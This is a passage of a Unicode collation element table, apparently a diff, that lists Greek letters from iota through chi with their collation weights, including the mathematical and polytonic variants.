+1F31  ; [.1FC6.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER IOTA WITH DASIA
+1F39  ; [.1FC6.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA
+1F35  ; [.1FC6.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND OXIA
+1F3D  ; [.1FC6.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA
+1F33  ; [.1FC6.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND VARIA
+1F3B  ; [.1FC6.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA
+1F37  ; [.1FC6.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI
+1F3F  ; [.1FC6.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI
+03AF  ; [.1FC6.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH TONOS
+1F77  ; [.1FC6.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH OXIA
+038A  ; [.1FC6.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH TONOS
+1FDB  ; [.1FC6.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH OXIA
+1F76  ; [.1FC6.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH VARIA
+1FDA  ; [.1FC6.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH VARIA
+1FD0  ; [.1FC6.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER IOTA WITH VRACHY
+1FD8  ; [.1FC6.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER IOTA WITH VRACHY
+1FD6  ; [.1FC6.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PERISPOMENI
+03CA  ; [.1FC6.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA
+03AA  ; [.1FC6.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER IOTA WITH DIALYTIKA
+0390  ; [.1FC6.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS
+1FD3  ; [.1FC6.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA
+1FD2  ; [.1FC6.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA
+1FD7  ; [.1FC6.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI
+1FD1  ; [.1FC6.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER IOTA WITH MACRON
+1FD9  ; [.1FC6.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER IOTA WITH MACRON
+03F3  ; [.1FC7.0020.0002] # GREEK LETTER YOT
+037F  ; [.1FC7.0020.0008] # GREEK CAPITAL LETTER YOT
+03BA  ; [.1FC8.0020.0002] # GREEK SMALL LETTER KAPPA
+03F0  ; [.1FC8.0020.0004] # GREEK KAPPA SYMBOL
+1D6CB ; [.1FC8.0020.0005] # MATHEMATICAL BOLD SMALL KAPPA
+1D6DE ; [.1FC8.0020.0005] # MATHEMATICAL BOLD KAPPA SYMBOL
+1D705 ; [.1FC8.0020.0005] # MATHEMATICAL ITALIC SMALL KAPPA
+1D718 ; [.1FC8.0020.0005] # MATHEMATICAL ITALIC KAPPA SYMBOL
+1D73F ; [.1FC8.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL KAPPA
+1D752 ; [.1FC8.0020.0005] # MATHEMATICAL BOLD ITALIC KAPPA SYMBOL
+1D779 ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL KAPPA
+1D78C ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD KAPPA SYMBOL
+1D7B3 ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL KAPPA
+1D7C6 ; [.1FC8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC KAPPA SYMBOL
+039A  ; [.1FC8.0020.0008] # GREEK CAPITAL LETTER KAPPA
+1D6B1 ; [.1FC8.0020.000B] # MATHEMATICAL BOLD CAPITAL KAPPA
+1D6EB ; [.1FC8.0020.000B] # MATHEMATICAL ITALIC CAPITAL KAPPA
+1D725 ; [.1FC8.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL KAPPA
+1D75F ; [.1FC8.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL KAPPA
+1D799 ; [.1FC8.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL KAPPA
+03D7  ; [.1FC8.0020.0004][.1FB9.0020.0004][.1FC6.0020.0004] # GREEK KAI SYMBOL
+03CF  ; [.1FC8.0020.000A][.1FB9.0020.0004][.1FC6.0020.0004] # GREEK CAPITAL KAI SYMBOL
+03BB  ; [.1FC9.0020.0002] # GREEK SMALL LETTER LAMDA
+1D6CC ; [.1FC9.0020.0005] # MATHEMATICAL BOLD SMALL LAMDA
+1D706 ; [.1FC9.0020.0005] # MATHEMATICAL ITALIC SMALL LAMDA
+1D740 ; [.1FC9.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL LAMDA
+1D77A ; [.1FC9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL LAMDA
+1D7B4 ; [.1FC9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL LAMDA
+039B  ; [.1FC9.0020.0008] # GREEK CAPITAL LETTER LAMDA
+1D6B2 ; [.1FC9.0020.000B] # MATHEMATICAL BOLD CAPITAL LAMDA
+1D6EC ; [.1FC9.0020.000B] # MATHEMATICAL ITALIC CAPITAL LAMDA
+1D726 ; [.1FC9.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL LAMDA
+1D760 ; [.1FC9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL LAMDA
+1D79A ; [.1FC9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL LAMDA
+1D27  ; [.1FCA.0020.0002] # GREEK LETTER SMALL CAPITAL LAMDA
+03BC  ; [.1FCB.0020.0002] # GREEK SMALL LETTER MU
+00B5  ; [.1FCB.0020.0004] # MICRO SIGN
+1D6CD ; [.1FCB.0020.0005] # MATHEMATICAL BOLD SMALL MU
+1D707 ; [.1FCB.0020.0005] # MATHEMATICAL ITALIC SMALL MU
+1D741 ; [.1FCB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL MU
+1D77B ; [.1FCB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL MU
+1D7B5 ; [.1FCB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL MU
+039C  ; [.1FCB.0020.0008] # GREEK CAPITAL LETTER MU
+1D6B3 ; [.1FCB.0020.000B] # MATHEMATICAL BOLD CAPITAL MU
+1D6ED ; [.1FCB.0020.000B] # MATHEMATICAL ITALIC CAPITAL MU
+1D727 ; [.1FCB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL MU
+1D761 ; [.1FCB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL MU
+1D79B ; [.1FCB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL MU
+3382  ; [.1FCB.0020.001C][.1C47.0020.001D] # SQUARE MU A
+338C  ; [.1FCB.0020.001C][.1CE5.0020.001D] # SQUARE MU F
+338D  ; [.1FCB.0020.001C][.1CF4.0020.001C] # SQUARE MU G
+3395  ; [.1FCB.0020.001C][.1D77.0020.001C] # SQUARE MU L
+339B  ; [.1FCB.0020.001C][.1DAA.0020.001C] # SQUARE MU M
+33B2  ; [.1FCB.0020.001C][.1E71.0020.001C] # SQUARE MU S
+33B6  ; [.1FCB.0020.001C][.1EE3.0020.001D] # SQUARE MU V
+33BC  ; [.1FCB.0020.001C][.1EF5.0020.001D] # SQUARE MU W
+03BD  ; [.1FCC.0020.0002] # GREEK SMALL LETTER NU
+1D6CE ; [.1FCC.0020.0005] # MATHEMATICAL BOLD SMALL NU
+1D708 ; [.1FCC.0020.0005] # MATHEMATICAL ITALIC SMALL NU
+1D742 ; [.1FCC.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL NU
+1D77C ; [.1FCC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL NU
+1D7B6 ; [.1FCC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL NU
+039D  ; [.1FCC.0020.0008] # GREEK CAPITAL LETTER NU
+1D6B4 ; [.1FCC.0020.000B] # MATHEMATICAL BOLD CAPITAL NU
+1D6EE ; [.1FCC.0020.000B] # MATHEMATICAL ITALIC CAPITAL NU
+1D728 ; [.1FCC.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL NU
+1D762 ; [.1FCC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL NU
+1D79C ; [.1FCC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL NU
+03BE  ; [.1FCD.0020.0002] # GREEK SMALL LETTER XI
+1D6CF ; [.1FCD.0020.0005] # MATHEMATICAL BOLD SMALL XI
+1D709 ; [.1FCD.0020.0005] # MATHEMATICAL ITALIC SMALL XI
+1D743 ; [.1FCD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL XI
+1D77D ; [.1FCD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL XI
+1D7B7 ; [.1FCD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL XI
+039E  ; [.1FCD.0020.0008] # GREEK CAPITAL LETTER XI
+1D6B5 ; [.1FCD.0020.000B] # MATHEMATICAL BOLD CAPITAL XI
+1D6EF ; [.1FCD.0020.000B] # MATHEMATICAL ITALIC CAPITAL XI
+1D729 ; [.1FCD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL XI
+1D763 ; [.1FCD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL XI
+1D79D ; [.1FCD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL XI
+03BF  ; [.1FCE.0020.0002] # GREEK SMALL LETTER OMICRON
+1D6D0 ; [.1FCE.0020.0005] # MATHEMATICAL BOLD SMALL OMICRON
+1D70A ; [.1FCE.0020.0005] # MATHEMATICAL ITALIC SMALL OMICRON
+1D744 ; [.1FCE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMICRON
+1D77E ; [.1FCE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMICRON
+1D7B8 ; [.1FCE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMICRON
+039F  ; [.1FCE.0020.0008] # GREEK CAPITAL LETTER OMICRON
+1D6B6 ; [.1FCE.0020.000B] # MATHEMATICAL BOLD CAPITAL OMICRON
+1D6F0 ; [.1FCE.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMICRON
+1D72A ; [.1FCE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMICRON
+1D764 ; [.1FCE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMICRON
+1D79E ; [.1FCE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMICRON
+1F40  ; [.1FCE.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMICRON WITH PSILI
+1F48  ; [.1FCE.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI
+1F44  ; [.1FCE.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA
+1F4C  ; [.1FCE.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA
+1F42  ; [.1FCE.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA
+1F4A  ; [.1FCE.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA
+1F41  ; [.1FCE.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMICRON WITH DASIA
+1F49  ; [.1FCE.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA
+1F45  ; [.1FCE.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
+1F4D  ; [.1FCE.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
+1F43  ; [.1FCE.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA
+1F4B  ; [.1FCE.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA
+03CC  ; [.1FCE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH TONOS
+1F79  ; [.1FCE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH OXIA
+038C  ; [.1FCE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH TONOS
+1FF9  ; [.1FCE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH OXIA
+1F78  ; [.1FCE.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH VARIA
+1FF8  ; [.1FCE.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH VARIA
+03C0  ; [.1FCF.0020.0002] # GREEK SMALL LETTER PI
+03D6  ; [.1FCF.0020.0004] # GREEK PI SYMBOL
+213C  ; [.1FCF.0020.0005] # DOUBLE-STRUCK SMALL PI
+1D6D1 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD SMALL PI
+1D6E1 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD PI SYMBOL
+1D70B ; [.1FCF.0020.0005] # MATHEMATICAL ITALIC SMALL PI
+1D71B ; [.1FCF.0020.0005] # MATHEMATICAL ITALIC PI SYMBOL
+1D745 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PI
+1D755 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD ITALIC PI SYMBOL
+1D77F ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PI
+1D78F ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PI SYMBOL
+1D7B9 ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PI
+1D7C9 ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PI SYMBOL
+03A0  ; [.1FCF.0020.0008] # GREEK CAPITAL LETTER PI
+213F  ; [.1FCF.0020.000B] # DOUBLE-STRUCK CAPITAL PI
+1D6B7 ; [.1FCF.0020.000B] # MATHEMATICAL BOLD CAPITAL PI
+1D6F1 ; [.1FCF.0020.000B] # MATHEMATICAL ITALIC CAPITAL PI
+1D72B ; [.1FCF.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PI
+1D765 ; [.1FCF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PI
+1D79F ; [.1FCF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PI
+1D28  ; [.1FD0.0020.0002] # GREEK LETTER SMALL CAPITAL PI
+03FB  ; [.1FD1.0020.0002] # GREEK SMALL LETTER SAN
+03FA  ; [.1FD1.0020.0008] # GREEK CAPITAL LETTER SAN
+03DF  ; [.1FD2.0020.0002] # GREEK SMALL LETTER KOPPA
+03DE  ; [.1FD2.0020.0008] # GREEK LETTER KOPPA
+03D9  ; [.1FD3.0020.0002] # GREEK SMALL LETTER ARCHAIC KOPPA
+03D8  ; [.1FD3.0020.0008] # GREEK LETTER ARCHAIC KOPPA
+03C1  ; [.1FD4.0020.0002] # GREEK SMALL LETTER RHO
+03F1  ; [.1FD4.0020.0004] # GREEK RHO SYMBOL
+1D6D2 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD SMALL RHO
+1D6E0 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD RHO SYMBOL
+1D70C ; [.1FD4.0020.0005] # MATHEMATICAL ITALIC SMALL RHO
+1D71A ; [.1FD4.0020.0005] # MATHEMATICAL ITALIC RHO SYMBOL
+1D746 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL RHO
+1D754 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD ITALIC RHO SYMBOL
+1D780 ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL RHO
+1D78E ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD RHO SYMBOL
+1D7BA ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL RHO
+1D7C8 ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC RHO SYMBOL
+03A1  ; [.1FD4.0020.0008] # GREEK CAPITAL LETTER RHO
+1D6B8 ; [.1FD4.0020.000B] # MATHEMATICAL BOLD CAPITAL RHO
+1D6F2 ; [.1FD4.0020.000B] # MATHEMATICAL ITALIC CAPITAL RHO
+1D72C ; [.1FD4.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL RHO
+1D766 ; [.1FD4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL RHO
+1D7A0 ; [.1FD4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL RHO
+1D68  ; [.1FD4.0020.0015] # GREEK SUBSCRIPT SMALL LETTER RHO
+1FE4  ; [.1FD4.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER RHO WITH PSILI
+1FE5  ; [.1FD4.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER RHO WITH DASIA
+1FEC  ; [.1FD4.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER RHO WITH DASIA
+1D29  ; [.1FD5.0020.0002] # GREEK LETTER SMALL CAPITAL RHO
+03FC  ; [.1FD6.0020.0002] # GREEK RHO WITH STROKE SYMBOL
+03C3  ; [.1FD7.0020.0002] # GREEK SMALL LETTER SIGMA
+03F2  ; [.1FD7.0020.0004] # GREEK LUNATE SIGMA SYMBOL
+1D6D3 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD SMALL FINAL SIGMA
+1D6D4 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD SMALL SIGMA
+1D70D ; [.1FD7.0020.0005] # MATHEMATICAL ITALIC SMALL FINAL SIGMA
+1D70E ; [.1FD7.0020.0005] # MATHEMATICAL ITALIC SMALL SIGMA
+1D747 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL FINAL SIGMA
+1D748 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL SIGMA
+1D781 ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL FINAL SIGMA
+1D782 ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL SIGMA
+1D7BB ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL FINAL SIGMA
+1D7BC ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL SIGMA
+03A3  ; [.1FD7.0020.0008] # GREEK CAPITAL LETTER SIGMA
+03F9  ; [.1FD7.0020.000A] # GREEK CAPITAL LUNATE SIGMA SYMBOL
+1D6BA ; [.1FD7.0020.000B] # MATHEMATICAL BOLD CAPITAL SIGMA
+1D6F4 ; [.1FD7.0020.000B] # MATHEMATICAL ITALIC CAPITAL SIGMA
+1D72E ; [.1FD7.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL SIGMA
+1D768 ; [.1FD7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL SIGMA
+1D7A2 ; [.1FD7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL SIGMA
+03C2  ; [.1FD7.0020.0019] # GREEK SMALL LETTER FINAL SIGMA
+037C  ; [.1FD8.0020.0002] # GREEK SMALL DOTTED LUNATE SIGMA SYMBOL
+03FE  ; [.1FD8.0020.0008] # GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL
+037B  ; [.1FD9.0020.0002] # GREEK SMALL REVERSED LUNATE SIGMA SYMBOL
+03FD  ; [.1FD9.0020.0008] # GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL
+037D  ; [.1FDA.0020.0002] # GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
+03FF  ; [.1FDA.0020.0008] # GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
+03C4  ; [.1FDB.0020.0002] # GREEK SMALL LETTER TAU
+1D6D5 ; [.1FDB.0020.0005] # MATHEMATICAL BOLD SMALL TAU
+1D70F ; [.1FDB.0020.0005] # MATHEMATICAL ITALIC SMALL TAU
+1D749 ; [.1FDB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL TAU
+1D783 ; [.1FDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL TAU
+1D7BD ; [.1FDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL TAU
+03A4  ; [.1FDB.0020.0008] # GREEK CAPITAL LETTER TAU
+1D6BB ; [.1FDB.0020.000B] # MATHEMATICAL BOLD CAPITAL TAU
+1D6F5 ; [.1FDB.0020.000B] # MATHEMATICAL ITALIC CAPITAL TAU
+1D72F ; [.1FDB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL TAU
+1D769 ; [.1FDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL TAU
+1D7A3 ; [.1FDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL TAU
+03C5  ; [.1FDC.0020.0002] # GREEK SMALL LETTER UPSILON
+1D6D6 ; [.1FDC.0020.0005] # MATHEMATICAL BOLD SMALL UPSILON
+1D710 ; [.1FDC.0020.0005] # MATHEMATICAL ITALIC SMALL UPSILON
+1D74A ; [.1FDC.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL UPSILON
+1D784 ; [.1FDC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL UPSILON
+1D7BE ; [.1FDC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL UPSILON
+03A5  ; [.1FDC.0020.0008] # GREEK CAPITAL LETTER UPSILON
+03D2  ; [.1FDC.0020.000A] # GREEK UPSILON WITH HOOK SYMBOL
+1D6BC ; [.1FDC.0020.000B] # MATHEMATICAL BOLD CAPITAL UPSILON
+1D6F6 ; [.1FDC.0020.000B] # MATHEMATICAL ITALIC CAPITAL UPSILON
+1D730 ; [.1FDC.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL UPSILON
+1D76A ; [.1FDC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL UPSILON
+1D7A4 ; [.1FDC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL UPSILON
+1F50  ; [.1FDC.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER UPSILON WITH PSILI
+1F54  ; [.1FDC.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA
+1F52  ; [.1FDC.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA
+1F56  ; [.1FDC.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI
+1F51  ; [.1FDC.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER UPSILON WITH DASIA
+1F59  ; [.1FDC.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA
+1F55  ; [.1FDC.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA
+1F5D  ; [.1FDC.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
+1F53  ; [.1FDC.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA
+1F5B  ; [.1FDC.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
+1F57  ; [.1FDC.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
+1F5F  ; [.1FDC.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI
+03CD  ; [.1FDC.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH TONOS
+1F7B  ; [.1FDC.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH OXIA
+038E  ; [.1FDC.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH TONOS
+1FEB  ; [.1FDC.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH OXIA
+03D3  ; [.1FDC.0020.000A][.0000.0024.0002] # GREEK UPSILON WITH ACUTE AND HOOK SYMBOL
+1F7A  ; [.1FDC.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH VARIA
+1FEA  ; [.1FDC.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH VARIA
+1FE0  ; [.1FDC.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER UPSILON WITH VRACHY
+1FE8  ; [.1FDC.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER UPSILON WITH VRACHY
+1FE6  ; [.1FDC.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PERISPOMENI
+03CB  ; [.1FDC.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA
+03AB  ; [.1FDC.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA
+03D4  ; [.1FDC.0020.000A][.0000.002B.0002] # GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL
+03B0  ; [.1FDC.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS
+1FE3  ; [.1FDC.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA
+1FE2  ; [.1FDC.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA
+1FE7  ; [.1FDC.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI
+1FE1  ; [.1FDC.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER UPSILON WITH MACRON
+1FE9  ; [.1FDC.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER UPSILON WITH MACRON
+03C6  ; [.1FDD.0020.0002] # GREEK SMALL LETTER PHI
+03D5  ; [.1FDD.0020.0004] # GREEK PHI SYMBOL
+1D6D7 ; [.1FDD.0020.0005] # MATHEMATICAL BOLD SMALL PHI
+1D6DF ; [.1FDD.0020.0005] # MATHEMATICAL BOLD PHI SYMBOL
+1D711 ; [.1FDD.0020.0005] # MATHEMATICAL ITALIC SMALL PHI
+1D719 ; [.1FDD.0020.0005] # MATHEMATICAL ITALIC PHI SYMBOL
+1D74B ; [.1FDD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PHI
+1D753 ; [.1FDD.0020.0005] # MATHEMATICAL BOLD ITALIC PHI SYMBOL
+1D785 ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PHI
+1D78D ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PHI SYMBOL
+1D7BF ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PHI
+1D7C7 ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PHI SYMBOL
+03A6  ; [.1FDD.0020.0008] # GREEK CAPITAL LETTER PHI
+1D6BD ; [.1FDD.0020.000B] # MATHEMATICAL BOLD CAPITAL PHI
+1D6F7 ; [.1FDD.0020.000B] # MATHEMATICAL ITALIC CAPITAL PHI
+1D731 ; [.1FDD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PHI
+1D76B ; [.1FDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PHI
+1D7A5 ; [.1FDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PHI
+1D60  ; [.1FDD.0020.0014] # MODIFIER LETTER SMALL GREEK PHI
+1D69  ; [.1FDD.0020.0015] # GREEK SUBSCRIPT SMALL LETTER PHI
+03C7  ; [.1FDE.0020.0002] # GREEK SMALL LETTER CHI
